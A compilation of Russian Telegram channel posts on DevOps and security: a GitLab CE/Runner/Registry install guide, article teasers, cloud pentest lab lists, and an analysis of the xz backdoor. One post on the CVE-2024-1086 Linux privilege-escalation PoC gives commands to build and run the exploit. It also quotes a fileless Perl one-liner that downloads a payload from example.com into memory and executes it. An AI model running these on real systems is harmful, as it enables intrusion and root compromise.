🤓 Установка Gitlab CE + Gitlab Runner + Gitlab Registry 🖼️
#devsecops #devops #разработка

GitLab — инструмент для совместной работы над проектами разработки программного обеспечения. Он обеспечивает хранение и управление репозиториями Git, а также контроль версий программного кода. GitLab автоматизирует процессы CI/CD: сборку, тестирование и развертывание ПО. Для запуска и автоматического выполнения задач CI/CD в GitLab используется приложение GitLab Runner.

⚖️ Подготовка:
1. Вам нужен сервер на 🖥 Ubuntu 22.04 с минимальными характеристиками 4 Гб ОЗУ и 4 ядра. Я же рекомендую 8 Гб ОЗУ и 8 Ядер.
2. Вам нужен домен.
3. В доменном регистраторе сделайте 2 поддомена: gitlab. и registry.gitlab. и создайте A записи с IP своего сервера
4. Выполнить минимальную настройку по этому гайду и выполнить ssh-keygen -t ed25519

📌 ed25519 более новый стандарт, чем RSA и сейчас best practice использовать этот алгоритм

⚖️ После настройки сервера:
5. Создаете нового пользователя, выдаёте права и добавляете свой ssh ключ в ~/.ssh/authorized_keys
6. Установим zsh как оболочку по умолчанию: chsh -s /bin/zsh
7. Замените в /etc/ssh/sshd_config с # Port 22 на Port 4422. Чтобы наш ssh сервер не мешал гитлабовскому
9. Отключим IPv6 для ufw
sed -i 's+IPV6=yes+IPV6=no+g' /etc/default/ufw
8. Добавьте необходимые порты в ufw: ufw allow 80; ufw allow 443; ufw allow 22; ufw allow 4422; ufw enable и тыкаете y
9. Далее создаете docker-compose.yml

version: '3.8'
services:
  gitlab:
    container_name: gitlab-ce
    image: 'gitlab/gitlab-ce:latest'
    restart: always
    hostname: 'gitlab-ce'
    environment:
      GITLAB_OMNIBUS_CONFIG: |
        external_url 'https://gitlab.redacted.com'
        registry_external_url 'https://registry.gitlab.redacted.com'
        gitlab_rails['registry_enabled'] = true
        letsencrypt['enable'] = true
        letsencrypt['contact_emails'] = ['ВАША_ПОЧТА']
        letsencrypt['auto_renew'] = true
    ports:
      - '80:80'
      - '443:443'
      - '22:22'
    volumes:
      - '/opt/gitlab/config:/etc/gitlab'
      - '/opt/gitlab/logs:/var/log/gitlab'
      - '/opt/gitlab/data:/var/opt/gitlab'
    networks:
      - gitlab

  gitlab-runner:
    container_name: gitlab-runner
    image: gitlab/gitlab-runner:latest
    restart: always
    hostname: 'gitlab-runner'
    depends_on:
      - gitlab
    volumes:
      - '/opt/gitlab-runner/data:/home/gitlab_ci_multi_runner/data'
      - '/opt/gitlab-runner/config:/etc/gitlab-runner'
      - '/var/run/docker.sock:/var/run/docker.sock:rw'
    environment:
      - CI_SERVER_URL=https://gitlab.redacted.com/ci
    networks:
      - gitlab

networks:
  gitlab:
    name: gitlab-network

10. Запускаете конфигурацию docker compose up -d . И ждём... Если скучно, то можно следить за ходом установки docker logs --follow gitlab-ce

12. Посмотрим пасс от аккаунта админа: grep 'Password: ' /opt/gitlab/config/initial_root_password
13. Переходим на gitlab.redacted.com и авторизуемся root:пасс_из_файла

Если всё получилось поднимаю за вас бокал гранатового вина 🍷
Если не получилось, то несу вам тонометр

⚖️ Настройка Gitlab:
0. Проверяем, что все нужные сервисы запустились в разделе Features и потом проверяем health_check
1. Сразу отключаем регистрацию других пользователей (хоть им и потребуется подтверждение от админа, но кто знает какая CVE будет в будущем). Для этого идём сюда и в разделе Sign-up restrictions убираем галочку у Sign-up enabled
2. Далее создадим своего пользователя. Обязательно ставим, что пользователь Administrator
2.1. Возвращаемся на шаг назад и нажимаем Edit по пользователю и задаем ему пароль
3. Логинимся под новым аккаунтом, нас попросит изменить пароль, но мы можем указать во все 3 поля одинаковый пароль
4. Удаляем пользователя root
5. Настроим рейт лимиты. Я поставил 10 запросов на IP и бан на 24 часа + поставил веселый текст для тех, кто будет фаззить мой сервер :))
6. Отключил рекламу и по фану поставил себе первый рабочий день Monday

⚖️ Далее можете поставить себе темную тему, добавить свои ssh ключи и радоваться жизни с полноценным Gitlab CE

🌚 @poxek

Disaster Recovery Plan: Как правильно заваривать чай, когда горит серверная
#риски #devops

В жизни любого проекта наступает катастрофа. Мы не можем заранее знать, что именно это будет - короткое замыкание в серверной, инженер, дропнувший центральную БД или нашествие бобров. Тем не менее, оно обязательно случится, причем по предельно идиотской причине.

Насчет бобров, я, кстати, не шутил. В Канаде они перегрызли кабель и оставили целый район Tumbler Ridge без оптоволоконной связи. Причем, животные, как мне кажется, делают все для того, чтобы внезапно лишить вас доступа к вашим ресурсам:

Макаки жуют провода
Цикады принимают кабели за ветки, и расковыривают их, чтобы отложить внутрь яйца.
Акулы жуют трансатлантические кабели Google
А в топе источника проблем для крупной телекоммуникационной компании Level 3 Communications вообще были белки.

➡️ Читать далее

🌚 @poxek

Будущее Kubernetes и DevOps: строим прогнозы на 10 лет
#devops #k8s #docker

Мы спросили инженеров «Фланта» и экспертов из индустрии, как, по их мнению, будут развиваться Kubernetes, DevOps, Ops и Cloud Native-экосистема в ближайшее десятилетие. Наша задача была спрогнозировать будущее на основе тенденций в настоящем, а не просто «заглянуть в хрустальный шар» и пофантазировать. В результате родилась эта статья. Присоединяйтесь к нам в комментариях — давайте вместе подумаем, как будут выглядеть важные в нашей работе инструменты через 5–10 лет.

➡️ Читать далее

🌚 @poxek

Настройка CI/CD для самых маленьких разработчиков
#devops #k8s #docker #CICD

Считается, что построение CI/CD - задача для DevOps. Глобально это действительно так, особенно если речь идет о первоначальной настройке. Но часто с докручиванием отдельных этапов процесса сталкиваются и разработчики. Умение поправить что-то незначительное своими силами позволяет не тратить время на поход к коллегам (и ожидание их реакции), т.е. в целом повышает комфорт работы и дает понимание, почему все происходит именно так.

Настроек для пайплайна Gitlab очень много. В этой статье, не вдаваясь в недра тюнинга, поговорим о том, как выглядит скрипт пайплайна, из каких блоков он состоит и что может содержать.

➡️ Читать далее

🌚 @poxek

Kerberos простыми словами
#windows #kerberos #AD

Несмотря на то, что уже существует множество различных статей про Kerberos, я всё‑таки решил написать ещё одну. Прежде всего эта статья написана для меня лично: я захотел обобщить знания, полученные в ходе изучения других статей, документации, а также в ходе практического использования Kerberos. Однако я также надеюсь, что статья будет полезна всем её читателям и кто‑то найдёт в ней новую и полезную информацию.

Данную статью я написал после того, как сделал собственную библиотеку, генерирующую сообщения протокола Kerberos, а также после того, как я сделал и протестировал «стандартный клиент» Kerberos в Windows — набор функций SSPI. Я научился тестировать произвольные конфигурации сервисов при всех возможных видах делегирования. Я нашёл способ, как выполнять пре‑аутентификацию в Windows как с применением имени пользователя и пароля, так и с помощью PKINIT. Я также сделал библиотеку, которая умещает «стандартный» код для запроса к SSPI в 3–5 строк вместо, скажем, 50-ти.

by @yurystrozhevsky

➡️ Читать далее

🌚 @poxek

☁️ Список ресурсов для обучения/практики пентеста облаков
#cloud #red_team #lab #cheatsheet

Поиск данный репы вдохновлен тем, что по работе был проект, где заказчик использовал Azure в качестве инфраструктуры и множество сервисов на AWS. По сути в РФ уже такое не встретишь, хоть в своё время изучал AWS и учился разворачивать различные бакеты, но уже подзабылось за ненадобностью

👍 В этом репозитории сможете найти cheatsheet'ы, различные ресурсы для изучения, инструменты для пентеста, а самое прикольное, это лабы!

А также, данный репозиторий собрал в себе информацию по:
AWS
GCP
Azure
Kubernetes

💻 Github

🎁 Бонус:
Awesome Cloud Security Labs - репозиторий, с подборкой лаб для практики похека cloud провайдеров. Есть как self hosted, так и HTB like.

🌚 @poxek

Анализ новой уязвимости в Linux в nf_tables и продвинутые методы ее эксплуатации
CVE-2024-1086
#CVE #linux #privesc

PoC для повышения привилегий CVE-2024-1086, работающий на большинстве ядер Linux между v5.14 и v6.6, включая Debian, Ubuntu и KernelCTF. Процент успеха составляет 99,4 % на образах KernelCTF.

PoC:

git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
./exploit

Также автор позаботился о нас, пентестерах, и предлагает fileless эксплуатацию:

perl -e '
  require qw/syscall.ph/;

  my $fd = syscall(SYS_memfd_create(), $fn, 0);
  system "curl https://example.com/exploit -s >&$fd";
  exec {"/proc/$$/fd/$fd"} "memfd";
'

Если вам интересно углубиться в эту CVE, то автор написал неплохой райтап по тому, как он изучал эту CVE
➡️ Writeup CVE

➡️ Github PoC

🌚 @poxek

🪲 Сказ о том, как пентестеры трафик скрывают

Автор: Алексей Романов, ведущий специалист по исследованию киберугроз

Наша команда проводит много red-team-проектов и, как следствие, постоянно имеет дело с различными системами мониторинга сетевого трафика. Вопрос «Как не спалиться?» в такой работе почти так же важен, как проникновение в инфраструктуру. Поэтому сегодня я хочу поговорить о маскировке сетевого трафика между С2-агентом и сервером — посмотрим на нетривиальные и даже забавные способы это сделать.

Сокрытие трафика важно, потому что одно неаккуратное действие пентестера внутри инфраструктуры может умножить на ноль все его усилия. Представим, что он потратил неделю и нашел в веб-приложении RCE-уязвимость. Дальше обошел WAF, но стоит загрузить на сервер C2-агент для удаленного доступа и контроля, как бьет тревогу EDR. Команда SOC вносит IP- и MAC-адреса пентестера в черный список, сообщает команде разработки об уязвимости в их ПО. И все: неделя рабочего времени red team ушла в никуда, по сути, проект провален. В отчете будет написано что-то позорное вроде «я пробрался внутрь, меня обнаружили».

➡️ Читать далее

🌚 @poxek

🐭 #события #offense

Бэкдор в утилите xz (CVE-2024-3094) – одна из самых громких новостей последних дней в сфере безопасности;

➖ CVSS: 😀
➖ Версии: 5.6.0 / 5.6.1

➡️Очевидно, что нужно откатываться к менее неприятным версиям, и на этом нам, как пользователям, можно было бы остановиться, но мне хочется разобраться в сути проблемы и в очередной раз обсудить тему человеческого фактора;

🧩 Everything I know about the xz backdoor ⚡️

🧩 Reported Supply Chain Compromise Affecting XZ Utils Data Compression Library, CVE-2024-3094 [CISA]

🧩 Frequently Asked Questions About CVE-2024-3094, A Backdoor in XZ Utils [Tenable]



❓) Что произошло?

  [💻]  Деобфусцированный код:   injected.txt
[✉️] Полное письмо с разбором:
‟backdoor in upstream xz/liblzma leading to ssh server compromise”

Andres Freund, разработчик из Microsoft, сообщил в рассылке oss-security об обнаружении бэкдора в утилите xz, который приводит к компрометации сервера SSH;

Специалист заметил:
🪲 Ошибки valgrind*
🪲 Увеличенное время логина по SSH
🪲 Увеличенное потребление CPU при логине по SSH
💻 А после – что тарболл xz, поставляемый через upstream репозиторий, содержал строку build-to-host.m4#L63, которой не было ни в upstream'ном build-to-host, ни на GitHub;

*К слову, ошибки valgrind были вызваны таким лэйаутом стека, который бэкдор не предусматривал, причём этот недочёт попытались исправить в версии xz 5.6.1;

Оказалось, что происходит инъекция обфусцированного скрипта, который извлёк другой специалист, Florian Weimer, и его исполнение по окончании конфигурации (при некоторых условиях**);

Деобфусцирвав код, выяснилось, что он:

➖Перехватывает выполнение
➖Заменяет crc32_resolve() / crc64_resolve(), которые резолвятся при запуске sshd, на другой код, вызывающий _get_cpuid()
➖Производит проверки среды окружения
➖Парсит таблицы символов в память (основная причина замедления)
➖Устанавливает хук в динамический линковщик, ожидая резолва RSA_public_decrypt@...plt и заменяя его значение для указания на другой код бэкдора
➖Вызывает вредоносный код при логине по SSH с помощью ключа + продолжает нормальную аутентификацию

**Замеченные условия эксплуатации:
0️⃣ x86-64 linux
1️⃣ Сборка с помощью gcc + gnu linker
2️⃣ [SSH] Не установлена переменная окружения TERM
3️⃣ [SSH] LD_BIND_NOT != 1
4️⃣ [SSH] argv[0] = /usr/sbin/sshd
5️⃣ [SSH] Не установлены LD_DEBUG, LD_PROFILE
6️⃣ [SSH] Установлен LANG
7️⃣ [SSH] Детектируются некоторые дебаггеры (gdb, rr, ...)



❓) Как так вышло?

[2022] Путь ко внедрению бэкдора начался приблизительно 2 года назад, когда основного разработчика, Lasse Collin, стали обвинять в медленном прогрессе. Пользователь Jigar Kumar настаивал на том, что xz нужен новый мейнтейнер, чтобы развиваться, и требовал смерджить патчи некого Jia Tan, который на добровольной основе контрибьютил в проект;

[2022] Lasse Collin признался незнакомцу, что находится в трудном положении: ментальные проблемы, нехватка рук и ресурсов не дают ему и, следовательно, проекту двигаться вперёд с требуемой скоростью, но, раз Jia Tan вносит вклад, то он, возможно, получит более значимую роль в проекте;

  [✉️]  Полный ответ Lasse Collin для Jigar Kumar:
‟Re: [xz-devel] XZ for Java”

[2023] Jia Tan становится основным контактом вместо Lasse Collin в oss-fuzz – фаззере open source проектов от Google. Он коммитит инфраструктуру, которая будет использована в эскплойте в 2024 году. Автором числится некий Hans Jansen, который, судя по всему, был создан сугубо для этого коммита. Jia Tan создаёт пулл реквест в oss-fuzz, настаивая на отключении некоторых проверок, обуславливая это необходимостью xz в поддержке ifunc;

[2024] Jia Tan изменяет ссылку на проект в oss-fuzz с tukaani.org/xz на xz.tukaani.org/xz-utils и коммитит последние штрихи для бэкдора;


Эта история – причина вспомнить и подумать о насущном:
▪️о ментальном здоровье
▪️об ответственности
▪️о прочих злободневных проблемах, особо острых для open source контрибуции (нехватка рук, ресурсов, мотивации, ...)

➡️Stay safe.

   @HaHacking  🐇